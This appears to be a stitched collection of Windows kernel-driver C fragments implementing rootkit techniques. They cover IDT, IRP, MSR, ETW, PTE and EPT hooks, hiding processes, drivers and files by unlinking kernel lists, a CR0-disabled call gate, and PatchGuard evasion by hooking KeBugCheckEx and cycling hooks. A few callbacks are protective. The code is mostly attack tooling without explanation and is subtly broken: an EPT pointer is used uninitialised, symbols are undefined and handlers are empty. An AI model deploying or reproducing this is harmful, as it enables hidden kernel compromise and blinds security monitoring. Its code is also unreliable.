affinity.Mask = 1ULL << procNum.Number;
GROUP_AFFINITY oldAffinity;
KeSetSystemGroupAffinityThread(&affinity, &oldAffinity);
HookIdtVector(vector, handler);
KeRevertToUserGroupAffinityThread(&oldAffinity);
}
}
#include <ntddk.h>
typedef struct _IRP_HOOK {
PDRIVER_OBJECT targetDriver;
ULONG majorFunction;
PDRIVER_DISPATCH originalDispatch;
PDRIVER_DISPATCH hookDispatch;
} IRP_HOOK;
#define MAX_IRP_HOOKS 16
IRP_HOOK g_irpHooks[MAX_IRP_HOOKS] = {0};
int g_irpHookCount = 0;
NTSTATUS GetDriverObjectByName(PUNICODE_STRING driverName, PDRIVER_OBJECT* ppDriver) {
return ObReferenceObjectByName(
driverName,
OBJ_CASE_INSENSITIVE,
NULL,
0,
*IoDriverObjectType,
KernelMode,
NULL,
(PVOID*)ppDriver
);
}
NTSTATUS InstallIrpHook(PUNICODE_STRING driverName, ULONG majorFunc, PDRIVER_DISPATCH hookFunc) {
PDRIVER_OBJECT pDriver = NULL;
NTSTATUS status = GetDriverObjectByName(driverName, &pDriver);
if (!NT_SUCCESS(status)) return status;
if (g_irpHookCount >= MAX_IRP_HOOKS) {
ObDereferenceObject(pDriver);
return STATUS_INSUFFICIENT_RESOURCES;
}
IRP_HOOK* hook = &g_irpHooks[g_irpHookCount];
hook->targetDriver = pDriver;
hook->majorFunction = majorFunc;
hook->originalDispatch = pDriver->MajorFunction[majorFunc];
hook->hookDispatch = hookFunc;
InterlockedExchangePointer(
(PVOID*)&pDriver->MajorFunction[majorFunc],
hookFunc
);
g_irpHookCount++;
return STATUS_SUCCESS;
}
void RemoveIrpHook(int index) {
if (index >= g_irpHookCount) return;
IRP_HOOK* hook = &g_irpHooks[index];
InterlockedExchangePointer(
(PVOID*)&hook->targetDriver->MajorFunction[hook->majorFunction],
hook->originalDispatch
);
ObDereferenceObject(hook->targetDriver);
}
NTSTATUS HookedNtfsCreate(PDEVICE_OBJECT DevObj, PIRP Irp) {
PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(Irp);
PFILE_OBJECT fileObj = irpSp->FileObject;
if (fileObj && fileObj->FileName.Buffer) {
if (wcsstr(fileObj->FileName.Buffer, L"secret.dat")) {
Irp->IoStatus.Status = STATUS_OBJECT_NAME_NOT_FOUND;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_OBJECT_NAME_NOT_FOUND;
}
}
return g_irpHooks[0].originalDispatch(DevObj, Irp);
}
void InstallNtfsHook() {
UNICODE_STRING ntfsDriver = RTL_CONSTANT_STRING(L"\\FileSystem\\Ntfs");
InstallIrpHook(&ntfsDriver, IRP_MJ_CREATE, HookedNtfsCreate);
}
#include <ntddk.h>
ULONG GetActiveProcessLinksOffset() {
PEPROCESS systemProcess = PsInitialSystemProcess;
for (ULONG offset = 0; offset < 0x800; offset += sizeof(PVOID)) {
if (*(HANDLE*)((BYTE*)systemProcess + offset) == (HANDLE)4) {
PLIST_ENTRY pList = (PLIST_ENTRY)((BYTE*)systemProcess + offset + 8);
if (MmIsAddressValid(pList->Flink) && MmIsAddressValid(pList->Blink)) {
return offset + 8;
}
}
}
return 0;
}
NTSTATUS HideProcess(ULONG targetPid) {
PEPROCESS process;
NTSTATUS status = PsLookupProcessByProcessId((HANDLE)(ULONG_PTR)targetPid, &process);
if (!NT_SUCCESS(status)) return status;
ULONG offset = GetActiveProcessLinksOffset();
if (offset == 0) {
ObDereferenceObject(process);
return STATUS_UNSUCCESSFUL;
}
PLIST_ENTRY pList = (PLIST_ENTRY)((BYTE*)process + offset);
KIRQL oldIrql;
KeRaiseIrql(DISPATCH_LEVEL, &oldIrql);
PLIST_ENTRY prev = pList->Blink;
PLIST_ENTRY next = pList->Flink;
prev->Flink = next;
next->Blink = prev;
pList->Flink = pList;
pList->Blink = pList;
KeLowerIrql(oldIrql);
ObDereferenceObject(process);
return STATUS_SUCCESS;
}
NTSTATUS HideDriver(PDRIVER_OBJECT driverObject) {
typedef struct _KLDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
PVOID ExceptionTable;
ULONG ExceptionTableSize;
PVOID GpValue;
PVOID NonPagedDebugInfo;
PVOID ImageBase;
PVOID EntryPoint;
ULONG ImageSize;
UNICODE_STRING FullImageName;
UNICODE_STRING BaseImageName;
} KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;
PKLDR_DATA_TABLE_ENTRY entry = (PKLDR_DATA_TABLE_ENTRY)driverObject->DriverSection;
if (!entry) return STATUS_UNSUCCESSFUL;
KIRQL oldIrql;
KeRaiseIrql(DISPATCH_LEVEL, &oldIrql);
RemoveEntryList(&entry->InLoadOrderLinks);
entry->InLoadOrderLinks.Flink = &entry->InLoadOrderLinks;
entry->InLoadOrderLinks.Blink = &entry->InLoadOrderLinks;
KeLowerIrql(oldIrql);
return STATUS_SUCCESS;
}
#include <ntddk.h>
#include <intrin.h>
#define MSR_LSTAR 0xC0000082
ULONG64 g_originalKiSystemCall64 = 0;
ULONG g_targetSsn = 0;
PVOID g_hookHandler = NULL;
extern void HookKiSystemCall64(void);
typedef struct _MSR_HOOK_DPC_CONTEXT {
ULONG64 newLstar;
} MSR_HOOK_DPC_CONTEXT;
VOID MsrHookDpcRoutine(PKDPC Dpc, PVOID Context, PVOID Arg1, PVOID Arg2) {
MSR_HOOK_DPC_CONTEXT* ctx = (MSR_HOOK_DPC_CONTEXT*)Context;
__writemsr(MSR_LSTAR, ctx->newLstar);
KeSignalCallDpcSynchronize(Arg2);
KeSignalCallDpcDone(Arg1);
}
NTSTATUS InstallMsrHook() {
g_originalKiSystemCall64 = __readmsr(MSR_LSTAR);
MSR_HOOK_DPC_CONTEXT ctx;
ctx.newLstar = (ULONG64)HookKiSystemCall64;
KeGenericCallDpc(MsrHookDpcRoutine, &ctx);
return STATUS_SUCCESS;
}
NTSTATUS RemoveMsrHook() {
MSR_HOOK_DPC_CONTEXT ctx;
ctx.newLstar = g_originalKiSystemCall64;
KeGenericCallDpc(MsrHookDpcRoutine, &ctx);
return STATUS_SUCCESS;
}
#include <ntddk.h>
#pragma pack(push, 1)
typedef struct _CALL_GATE_DESCRIPTOR {
USHORT OffsetLow;
USHORT Selector;
BYTE Ist;
BYTE Attributes;
USHORT OffsetMid;
ULONG OffsetHigh;
ULONG Reserved;
} CALL_GATE_DESCRIPTOR;
typedef struct _GDTR {
USHORT Limit;
ULONG64 Base;
} GDTR;
#pragma pack(pop)
#define KGDT64_R0_CODE 0x10
PVOID GetGdtBase() {
GDTR gdtr;
_sgdt(&gdtr);
return (PVOID)gdtr.Base;
}
int FindFreeGdtSlot() {
GDTR gdtr;
_sgdt(&gdtr);
ULONG64* gdt = (ULONG64*)gdtr.Base;
int maxSlots = (gdtr.Limit + 1) / 16;
for (int i = 10; i < maxSlots; i++) {
if ((gdt[i * 2] & (1ULL << 47)) == 0) {
return i;
}
}
return -1;
}
USHORT InstallCallGate(PVOID kernelHandler) {
int slot = FindFreeGdtSlot();
if (slot < 0) return 0;
CALL_GATE_DESCRIPTOR gate = {0};
gate.OffsetLow = (USHORT)((ULONG64)kernelHandler & 0xFFFF);
gate.Selector = KGDT64_R0_CODE;
gate.Ist = 0;
gate.Attributes = 0xEC;
gate.OffsetMid = (USHORT)(((ULONG64)kernelHandler >> 16) & 0xFFFF);
gate.OffsetHigh = (ULONG)(((ULONG64)kernelHandler >> 32) & 0xFFFFFFFF);
gate.Reserved = 0;
PVOID gdtBase = GetGdtBase();
ULONG64 cr0 = __readcr0();
__writecr0(cr0 & ~0x10000);
memcpy((BYTE*)gdtBase + slot * 16, &gate, sizeof(gate));
__writecr0(cr0);
return (USHORT)(slot * 8 + 3);
}
void __fastcall CallGateHandler(void) {
}
#include <ntddk.h>
#include <fltKernel.h>
void ProcessNotifyCallback(PEPROCESS Process, HANDLE ProcessId,
PPS_CREATE_NOTIFY_INFO CreateInfo) {
if (CreateInfo) {
DbgPrint("[Hook] Process created: PID=%lu Image=%wZ\n",
(ULONG)(ULONG_PTR)ProcessId, CreateInfo->ImageFileName);
if (CreateInfo->ImageFileName &&
wcsstr(CreateInfo->ImageFileName->Buffer, L"malware.exe")) {
CreateInfo->CreationStatus = STATUS_ACCESS_DENIED;
}
} else {
DbgPrint("[Hook] Process exited: PID=%lu\n", (ULONG)(ULONG_PTR)ProcessId);
}
}
void ThreadNotifyCallback(HANDLE ProcessId, HANDLE ThreadId, BOOLEAN Create) {
if (Create) {
PEPROCESS targetProcess;
PsLookupProcessByProcessId(ProcessId, &targetProcess);
if (targetProcess == g_protectedProcess && PsGetCurrentProcess() != targetProcess) {
DbgPrint("[Hook] Remote thread injection detected!\n");
}
if (targetProcess) ObDereferenceObject(targetProcess);
}
}
void ImageLoadCallback(PUNICODE_STRING FullImageName, HANDLE ProcessId,
PIMAGE_INFO ImageInfo) {
if (FullImageName && ProcessId == g_targetPid) {
DbgPrint("[Hook] Image loaded in target: %wZ @ %p\n",
FullImageName, ImageInfo->ImageBase);
}
}
OB_PREOP_CALLBACK_STATUS ProcessHandlePreCallback(
PVOID RegistrationContext, POB_PRE_OPERATION_INFORMATION OpInfo) {
PEPROCESS targetProcess = (PEPROCESS)OpInfo->Object;
HANDLE targetPid = PsGetProcessId(targetProcess);
if (targetPid == g_protectedPid && PsGetCurrentProcess() != targetProcess) {
if (OpInfo->Operation == OB_OPERATION_HANDLE_CREATE) {
OpInfo->Parameters->CreateHandleInformation.DesiredAccess &=
~(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION |
PROCESS_TERMINATE | PROCESS_SUSPEND_RESUME);
}
if (OpInfo->Operation == OB_OPERATION_HANDLE_DUPLICATE) {
OpInfo->Parameters->DuplicateHandleInformation.DesiredAccess &=
~(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_TERMINATE);
}
}
return OB_PREOP_SUCCESS;
}
NTSTATUS RegisterObCallbacks(PVOID* pHandle) {
OB_CALLBACK_REGISTRATION obReg = {0};
OB_OPERATION_REGISTRATION opReg[2] = {0};
opReg[0].ObjectType = PsProcessType;
opReg[0].Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE;
opReg[0].PreOperation = ProcessHandlePreCallback;
opReg[1].ObjectType = PsThreadType;
opReg[1].Operations = OB_OPERATION_HANDLE_CREATE;
opReg[1].PreOperation = ProcessHandlePreCallback;
obReg.Version = OB_FLT_REGISTRATION_VERSION;
obReg.OperationRegistrationCount = 2;
obReg.OperationRegistration = opReg;
RtlInitUnicodeString(&obReg.Altitude, L"321000");
return ObRegisterCallbacks(&obReg, pHandle);
}
FLT_PREOP_CALLBACK_STATUS PreCreateCallback(
PFLT_CALLBACK_DATA Data, PCFLT_RELATED_OBJECTS FltObjects,
PVOID* CompletionContext) {
PFLT_FILE_NAME_INFORMATION nameInfo;
if (NT_SUCCESS(FltGetFileNameInformation(Data,
FLT_FILE_NAME_NORMALIZED | FLT_FILE_NAME_QUERY_DEFAULT, &nameInfo))) {
FltParseFileNameInformation(nameInfo);
if (wcsstr(nameInfo->Name.Buffer, L"hidden_file.dat")) {
FltReleaseFileNameInformation(nameInfo);
Data->IoStatus.Status = STATUS_OBJECT_NAME_NOT_FOUND;
return FLT_PREOP_COMPLETE;
}
FltReleaseFileNameInformation(nameInfo);
}
return FLT_PREOP_SUCCESS_NO_CALLBACK;
}
NTSTATUS RegistryCallback(PVOID CallbackContext, PVOID Argument1, PVOID Argument2) {
REG_NOTIFY_CLASS notifyClass = (REG_NOTIFY_CLASS)(ULONG_PTR)Argument1;
switch (notifyClass) {
case RegNtPreSetValueKey: {
PREG_SET_VALUE_KEY_INFORMATION info = (PREG_SET_VALUE_KEY_INFORMATION)Argument2;
if (info->ValueName && wcsstr(info->ValueName->Buffer, L"ProtectedValue")) {
return STATUS_ACCESS_DENIED;
}
break;
}
case RegNtPreDeleteKey: {
break;
}
}
return STATUS_SUCCESS;
}
NTSTATUS InstallAllCallbacks() {
NTSTATUS status;
status = PsSetCreateProcessNotifyRoutineEx(ProcessNotifyCallback, FALSE);
if (!NT_SUCCESS(status)) return status;
status = PsSetCreateThreadNotifyRoutine(ThreadNotifyCallback);
if (!NT_SUCCESS(status)) return status;
status = PsSetLoadImageNotifyRoutine(ImageLoadCallback);
if (!NT_SUCCESS(status)) return status;
status = RegisterObCallbacks(&g_obHandle);
if (!NT_SUCCESS(status)) return status;
LARGE_INTEGER cookie;
status = CmRegisterCallbackEx(RegistryCallback, &g_altitude, g_driverObject, NULL, &cookie, NULL);
return status;
}
#include <ntddk.h>
typedef void (*fnEtwpCallback)(ULONG SystemCallNumber, PVOID StackPointer);
fnEtwpCallback g_originalEtwCallback = NULL;
PVOID* FindEtwSyscallLogPointer() {
ULONG64 kiSystemCall = __readmsr(0xC0000082);
BYTE* p = (BYTE*)kiSystemCall;
for (ULONG i = 0; i < 0x600; i++) {
if (p[i] == 0xE8) {
INT32 offset = *(INT32*)(p + i + 1);
BYTE* target = p + i + 5 + offset;
for (ULONG j = 0; j < 0x50; j++) {
if (target[j] == 0xFF && target[j+1] == 0x15) {
INT32 ripOffset = *(INT32*)(target + j + 2);
PVOID* pFuncPtr = (PVOID*)(target + j + 6 + ripOffset);
if (MmIsAddressValid(pFuncPtr) && MmIsAddressValid(*pFuncPtr)) {
return pFuncPtr;
}
}
if (target[j] == 0x48 && target[j+1] == 0x8B && target[j+2] == 0x05) {
INT32 ripOffset = *(INT32*)(target + j + 3);
PVOID* pFuncPtr = (PVOID*)(target + j + 7 + ripOffset);
if (MmIsAddressValid(pFuncPtr) && MmIsAddressValid(*pFuncPtr)) {
for (ULONG k = j + 7; k < j + 20; k++) {
if (target[k] == 0xFF && target[k+1] == 0xD0) {
return pFuncPtr;
}
}
}
}
}
}
}
return NULL;
}
void InfinityHookCallback(ULONG SystemCallNumber, PVOID StackPointer) {
PETHREAD currentThread = PsGetCurrentThread();
switch (SystemCallNumber) {
case 0x26:
{
break;
}
case 0x3A:
{
break;
}
}
if (g_originalEtwCallback) {
g_originalEtwCallback(SystemCallNumber, StackPointer);
}
}
NTSTATUS InstallInfinityHook() {
PVOID* pTarget = FindEtwSyscallLogPointer();
if (!pTarget) return STATUS_NOT_FOUND;
g_originalEtwCallback = (fnEtwpCallback)*pTarget;
InterlockedExchangePointer(pTarget, (PVOID)InfinityHookCallback);
return STATUS_SUCCESS;
}
NTSTATUS RemoveInfinityHook() {
PVOID* pTarget = FindEtwSyscallLogPointer();
if (!pTarget || !g_originalEtwCallback) return STATUS_UNSUCCESSFUL;
InterlockedExchangePointer(pTarget, (PVOID)g_originalEtwCallback);
g_originalEtwCallback = NULL;
return STATUS_SUCCESS;
}
#include <ntddk.h>
typedef VOID(*fnKeBugCheckEx)(ULONG, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR);
fnKeBugCheckEx OriginalKeBugCheckEx = NULL;
VOID HookedKeBugCheckEx(ULONG BugCheckCode, ULONG_PTR P1, ULONG_PTR P2, ULONG_PTR P3, ULONG_PTR P4) {
if (BugCheckCode == 0x109) {
RestoreAllHooks();
return;
}
OriginalKeBugCheckEx(BugCheckCode, P1, P2, P3, P4);
}
NTSTATUS DisablePatchGuardTimers() {
return STATUS_NOT_IMPLEMENTED;
}
typedef struct _PG_AWARE_HOOK {
PVOID target;
PVOID detour;
BYTE originalBytes[14];
BOOLEAN isInstalled;
KTIMER cycleTimer;
KDPC cycleDpc;
} PG_AWARE_HOOK;
VOID PgCycleDpcRoutine(PKDPC Dpc, PVOID Context, PVOID Arg1, PVOID Arg2) {
PG_AWARE_HOOK* hook = (PG_AWARE_HOOK*)Context;
if (hook->isInstalled) {
RestoreInlineHook(hook);
hook->isInstalled = FALSE;
LARGE_INTEGER interval;
interval.QuadPart = -5000000;
KeSetTimer(&hook->cycleTimer, interval, &hook->cycleDpc);
} else {
InstallInlineHook(hook);
hook->isInstalled = TRUE;
LARGE_INTEGER interval;
interval.QuadPart = -2400000000LL;
KeSetTimer(&hook->cycleTimer, interval, &hook->cycleDpc);
}
}
#include <ntddk.h>
#include <fwpsk.h>
#include <fwpmk.h>
HANDLE g_engineHandle = NULL;
UINT32 g_calloutId = 0;
UINT64 g_filterId = 0;
DEFINE_GUID(WFP_CALLOUT_GUID,
0x12345678, 0xABCD, 0xEF01, 0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF, 0x01);
void NTAPI ClassifyCallback(
const FWPS_INCOMING_VALUES0* inFixedValues,
const FWPS_INCOMING_METADATA_VALUES0* inMetaValues,
void* layerData,
const FWPS_FILTER0* filter,
UINT64 flowContext,
FWPS_CLASSIFY_OUT0* classifyOut)
{
UINT32 remoteIp = inFixedValues->incomingValue[
FWPS_FIELD_OUTBOUND_TRANSPORT_V4_IP_REMOTE_ADDRESS].value.uint32;
UINT16 remotePort = inFixedValues->incomingValue[
FWPS_FIELD_OUTBOUND_TRANSPORT_V4_IP_REMOTE_PORT].value.uint16;
UINT8 protocol = inFixedValues->incomingValue[
FWPS_FIELD_OUTBOUND_TRANSPORT_V4_IP_PROTOCOL].value.uint8;
UINT64 processId = 0;
if (FWPS_IS_METADATA_FIELD_PRESENT(inMetaValues, FWPS_METADATA_FIELD_PROCESS_ID)) {
processId = inMetaValues->processId;
}
if (ShouldBlockConnection(remoteIp, remotePort, processId)) {
classifyOut->actionType = FWP_ACTION_BLOCK;
classifyOut->rights &= ~FWPS_RIGHT_ACTION_WRITE;
} else {
classifyOut->actionType = FWP_ACTION_PERMIT;
}
}
NTSTATUS NTAPI NotifyCallback(FWPS_CALLOUT_NOTIFY_TYPE notifyType,
const GUID* filterKey, FWPS_FILTER0* filter) {
return STATUS_SUCCESS;
}
NTSTATUS InstallWfpHook(PDEVICE_OBJECT deviceObject) {
NTSTATUS status;
FWPM_SESSION0 session = {0};
session.flags = FWPM_SESSION_FLAG_DYNAMIC;
status = FwpmEngineOpen0(NULL, RPC_C_AUTHN_WINNT, NULL, &session, &g_engineHandle);
if (!NT_SUCCESS(status)) return status;
FWPS_CALLOUT0 sCallout = {0};
sCallout.calloutKey = WFP_CALLOUT_GUID;
sCallout.classifyFn = ClassifyCallback;
sCallout.notifyFn = NotifyCallback;
status = FwpsCalloutRegister0(deviceObject, &sCallout, &g_calloutId);
if (!NT_SUCCESS(status)) goto cleanup;
FWPM_CALLOUT0 mCallout = {0};
mCallout.calloutKey = WFP_CALLOUT_GUID;
mCallout.displayData.name = L"My Network Hook";
mCallout.applicableLayer = FWPM_LAYER_OUTBOUND_TRANSPORT_V4;
status = FwpmCalloutAdd0(g_engineHandle, &mCallout, NULL, NULL);
if (!NT_SUCCESS(status)) goto cleanup;
FWPM_FILTER0 filter = {0};
filter.layerKey = FWPM_LAYER_OUTBOUND_TRANSPORT_V4;
filter.displayData.name = L"My Network Filter";
filter.action.type = FWP_ACTION_CALLOUT_TERMINATING;
filter.action.calloutKey = WFP_CALLOUT_GUID;
filter.weight.type = FWP_UINT8;
filter.weight.uint8 = 0xF;
status = FwpmFilterAdd0(g_engineHandle, &filter, NULL, &g_filterId);
cleanup:
if (!NT_SUCCESS(status)) {
if (g_engineHandle) FwpmEngineClose0(g_engineHandle);
}
return status;
}
#include <ntddk.h>
ULONG64 g_pteBase = 0;
ULONG64 g_pdeBase = 0;
ULONG64 FindPteBase() {
UNICODE_STRING funcName;
RtlInitUnicodeString(&funcName, L"MmGetVirtualForPhysical");
BYTE* pFunc = (BYTE*)MmGetSystemRoutineAddress(&funcName);
if (pFunc) {
for (ULONG i = 0; i < 0x100; i++) {
if (pFunc[i] == 0x48 && pFunc[i+1] == 0x8B && pFunc[i+2] == 0x05) {
INT32 offset = *(INT32*)(pFunc + i + 3);
ULONG64* pPteBase = (ULONG64*)(pFunc + i + 7 + offset);
if (MmIsAddressValid(pPteBase)) {
return *pPteBase;
}
}
}
}
for (ULONG64 base = 0xFFFF800000000000ULL; base < 0xFFFFF00000000000ULL; base += 0x8000000000ULL) {
__try {
ULONG64 pteOfBase = base + ((base >> 9) & 0x7FFFFFFFF8ULL);
if (MmIsAddressValid((PVOID)pteOfBase)) {
ULONG64 value = *(ULONG64*)pteOfBase;
if (value & 1) {
g_pteBase = base;
return base;
}
}
} __except(EXCEPTION_EXECUTE_HANDLER) {
continue;
}
}
return 0;
}
PULONG64 GetPteAddress(PVOID virtualAddress) {
if (!g_pteBase) g_pteBase = FindPteBase();
ULONG64 va = (ULONG64)virtualAddress;
return (PULONG64)(g_pteBase + ((va >> 9) & 0x7FFFFFFFF8ULL));
}
PULONG64 GetPdeAddress(PVOID virtualAddress) {
PULONG64 pte = GetPteAddress(virtualAddress);
return GetPteAddress(pte);
}
typedef struct _PTE_HOOK {
PVOID targetVa;
PHYSICAL_ADDRESS origPhys;
PHYSICAL_ADDRESS hookPhys;
ULONG64 origPte;
PVOID hookPage;
} PTE_HOOK;
NTSTATUS InstallPteHook(PTE_HOOK* hook, PVOID targetVa, PVOID hookCode, ULONG hookSize) {
hook->targetVa = (PVOID)((ULONG_PTR)targetVa & ~0xFFF);
hook->origPhys = MmGetPhysicalAddress(hook->targetVa);
hook->hookPage = MmAllocateNonCachedMemory(PAGE_SIZE);
if (!hook->hookPage) return STATUS_INSUFFICIENT_RESOURCES;
RtlCopyMemory(hook->hookPage, hook->targetVa, PAGE_SIZE);
ULONG offset = (ULONG)((ULONG_PTR)targetVa & 0xFFF);
RtlCopyMemory((BYTE*)hook->hookPage + offset, hookCode, hookSize);
hook->hookPhys = MmGetPhysicalAddress(hook->hookPage);
PULONG64 pte = GetPteAddress(hook->targetVa);
hook->origPte = *pte;
ULONG64 newPte = hook->origPte;
newPte &= 0xFFF0000000000FFFULL;
newPte |= (hook->hookPhys.QuadPart & 0x000FFFFFFFFFF000ULL);
_disable();
InterlockedExchange64((LONG64*)pte, newPte);
__invlpg(hook->targetVa);
_enable();
return STATUS_SUCCESS;
}
NTSTATUS RemovePteHook(PTE_HOOK* hook) {
PULONG64 pte = GetPteAddress(hook->targetVa);
_disable();
InterlockedExchange64((LONG64*)pte, hook->origPte);
__invlpg(hook->targetVa);
_enable();
if (hook->hookPage) {
MmFreeNonCachedMemory(hook->hookPage, PAGE_SIZE);
hook->hookPage = NULL;
}
return STATUS_SUCCESS;
}
typedef union _EPT_PTE {
ULONG64 Value;
struct {
ULONG64 ReadAccess : 1;
ULONG64 WriteAccess : 1;
ULONG64 ExecuteAccess : 1;
ULONG64 MemoryType : 3;
ULONG64 IgnorePat : 1;
ULONG64 LargePage : 1;
ULONG64 Accessed : 1;
ULONG64 Dirty : 1;
ULONG64 UserModeExecute : 1;
ULONG64 Reserved1 : 1;
ULONG64 PhysicalAddress : 40;
ULONG64 Reserved2 : 11;
ULONG64 SuppressVE : 1;
};
} EPT_PTE, *PEPT_PTE;
typedef union _EPTP {
ULONG64 Value;
struct {
ULONG64 MemoryType : 3;
ULONG64 PageWalkLength : 3;
ULONG64 DirtyAndAccessEnabled : 1;
ULONG64 Reserved1 : 5;
ULONG64 PML4PhysicalAddress : 40;
ULONG64 Reserved2 : 12;
};
} EPTP;
#include <ntddk.h>
#include <intrin.h>
typedef struct _EPT_STATE {
DECLSPEC_ALIGN(PAGE_SIZE) EPT_PTE PML4[512];
DECLSPEC_ALIGN(PAGE_SIZE) EPT_PTE PDPT[512];
DECLSPEC_ALIGN(PAGE_SIZE) EPT_PTE PD[512][512];
EPTP Eptp;
} EPT_STATE;
NTSTATUS BuildIdentityEpt(EPT_STATE* ept) {
RtlZeroMemory(ept, sizeof(EPT_STATE));
ept->PML4[0].ReadAccess = 1;
ept->PML4[0].WriteAccess = 1;
ept->PML4[0].ExecuteAccess = 1;
ept->PML4[0].PhysicalAddress = MmGetPhysicalAddress(ept->PDPT).QuadPart >> 12;
for (int i = 0; i < 512; i++) {
ept->PDPT[i].ReadAccess = 1;
ept->PDPT[i].WriteAccess = 1;
ept->PDPT[i].ExecuteAccess = 1;
ept->PDPT[i].PhysicalAddress = MmGetPhysicalAddress(&ept->PD[i]).QuadPart >> 12;
}
for (int i = 0; i < 512; i++) {
for (int j = 0; j < 512; j++) {
ULONG64 physAddr = ((ULONG64)i * 512 + j) * 0x200000;
ept->PD[i][j].ReadAccess = 1;
ept->PD[i][j].WriteAccess = 1;
ept->PD[i][j].ExecuteAccess = 1;
ept->PD[i][j].LargePage = 1;
ept->PD[i][j].MemoryType = 6;
ept->PD[i][j].PhysicalAddress = physAddr >> 12;
}
}
ept->Eptp.MemoryType = 6;
ept->Eptp.PageWalkLength = 3;
ept->Eptp.PML4PhysicalAddress = MmGetPhysicalAddress(ept->PML4).QuadPart >> 12;
return STATUS_SUCCESS;
}
typedef struct _EPT_SPLIT_PAGE {
DECLSPEC_ALIGN(PAGE_SIZE) EPT_PTE PT[512];
} EPT_SPLIT_PAGE;
NTSTATUS SplitLargePage(EPT_STATE* ept, ULONG64 targetPhysAddr) {
ULONG pdptIndex = (targetPhysAddr >> 30) & 0x1FF;
ULONG pdIndex = (targetPhysAddr >> 21) & 0x1FF;
EPT_PTE* pdEntry = &ept->PD[pdptIndex][pdIndex];
if (!pdEntry->LargePage) return STATUS_SUCCESS;
EPT_SPLIT_PAGE* splitPage = ExAllocatePoolWithTag(NonPagedPool, sizeof(EPT_SPLIT_PAGE), 'tpES');
if (!splitPage) return STATUS_INSUFFICIENT_RESOURCES;
ULONG64 basePhys = (pdEntry->PhysicalAddress << 12) & ~0x1FFFFFULL;
for (int i = 0; i < 512; i++) {
splitPage->PT[i].ReadAccess = 1;
splitPage->PT[i].WriteAccess = 1;
splitPage->PT[i].ExecuteAccess = 1;
splitPage->PT[i].MemoryType = 6;
splitPage->PT[i].PhysicalAddress = (basePhys + i * PAGE_SIZE) >> 12;
}
pdEntry->Value = 0;
pdEntry->ReadAccess = 1;
pdEntry->WriteAccess = 1;
pdEntry->ExecuteAccess = 1;
pdEntry->PhysicalAddress = MmGetPhysicalAddress(splitPage->PT).QuadPart >> 12;
InveptAllContexts();
return STATUS_SUCCESS;
}
typedef struct _EPT_HOOK_ENTRY {
ULONG64 targetPhysAddr;
ULONG64 originalHpa;
ULONG64 shadowHpa;
EPT_PTE* pEptPte;
PVOID shadowPage;
ULONG functionOffset;
LIST_ENTRY listEntry;
} EPT_HOOK_ENTRY;
LIST_ENTRY g_hookList;
NTSTATUS InstallEptHook(EPT_STATE* ept, PVOID targetFunction, PVOID hookFunction) {
PHYSICAL_ADDRESS targetPhys = MmGetPhysicalAddress(targetFunction);
ULONG64 targetPhysPage = targetPhys.QuadPart & ~0xFFF;
SplitLargePage(ept, targetPhysPage);
PVOID shadowPage = ExAllocatePoolWithTag(NonPagedPool, PAGE_SIZE, 'wdhS');
if (!shadowPage) return STATUS_INSUFFICIENT_RESOURCES;
PVOID mappedOriginal = MmMapIoSpace(targetPhys, PAGE_SIZE, MmNonCached);
RtlCopyMemory(shadowPage, mappedOriginal, PAGE_SIZE);
MmUnmapIoSpace(mappedOriginal, PAGE_SIZE);
ULONG offset = targetPhys.LowPart & 0xFFF;
BYTE* hookPoint = (BYTE*)shadowPage + offset;
hookPoint[0] = 0xFF;
hookPoint[1] = 0x25;
*(UINT32*)(hookPoint + 2) = 0;
*(UINT64*)(hookPoint + 6) = (UINT64)hookFunction;
ULONG ptIndex = (targetPhysPage >> 12) & 0x1FF;
ULONG pdIndex = (targetPhysPage >> 21) & 0x1FF;
ULONG pdptIndex = (targetPhysPage >> 30) & 0x1FF;
EPT_HOOK_ENTRY* entry = ExAllocatePoolWithTag(NonPagedPool, sizeof(EPT_HOOK_ENTRY), 'kooH');
entry->targetPhysAddr = targetPhysPage;
entry->originalHpa = targetPhysPage;
entry->shadowHpa = MmGetPhysicalAddress(shadowPage).QuadPart;
entry->shadowPage = shadowPage;
entry->functionOffset = offset;
InsertTailList(&g_hookList, &entry->listEntry);
entry->pEptPte->ReadAccess = 1;
entry->pEptPte->WriteAccess = 1;
entry->pEptPte->ExecuteAccess = 0;
entry->pEptPte->PhysicalAddress = entry->originalHpa >> 12;
InveptAllContexts();
return STATUS_SUCCESS;
}
void HandleEptViolation(PVMX_VCPU vcpu) {
ULONG64 guestPhysAddr = __vmx_vmread(VMCS_GUEST_PHYSICAL_ADDRESS);
ULONG64 qualification = __vmx_vmread(VMCS_EXIT_QUALIFICATION);
BOOLEAN isExecute = (qualification >> 2) & 1;
BOOLEAN isRead = qualification & 1;
BOOLEAN isWrite = (qualification >> 1) & 1;
EPT_HOOK_ENTRY* hook = FindHookByPhysAddr(guestPhysAddr & ~0xFFF);
if (!hook) {
InjectException(vcpu, EXCEPTION_GENERAL_PROTECTION);
return;
}
if (isExecute) {
hook->pEptPte->ReadAccess = 0;
hook->pEptPte->WriteAccess = 0;
hook->pEptPte->ExecuteAccess = 1;
hook->pEptPte->PhysicalAddress = hook->shadowHpa >> 12;
} else {
hook->pEptPte->ReadAccess = 1;
hook->pEptPte->WriteAccess = 1;
hook->pEptPte->ExecuteAccess = 0;
hook->pEptPte->PhysicalAddress = hook->originalHpa >> 12;
}
InveptSingleContext(vcpu->eptp);
ULONG64 procCtls = __vmx_vmread(VMCS_PROC_BASED_CONTROLS);
__vmx_vmwrite(VMCS_PROC_BASED_CONTROLS, procCtls | VMX_PROC_CTL_MONITOR_TRAP_FLAG);
}
void HandleMonitorTrapFlag(PVMX_VCPU vcpu) {
PLIST_ENTRY entry = g_hookList.Flink;
while (entry != &g_hookList) {
EPT_HOOK_ENTRY* hook = CONTAINING_RECORD(entry, EPT_HOOK_ENTRY, listEntry);
hook->pEptPte->ReadAccess = 1;
hook->pEptPte->WriteAccess = 1;
hook->pEptPte->ExecuteAccess = 0;
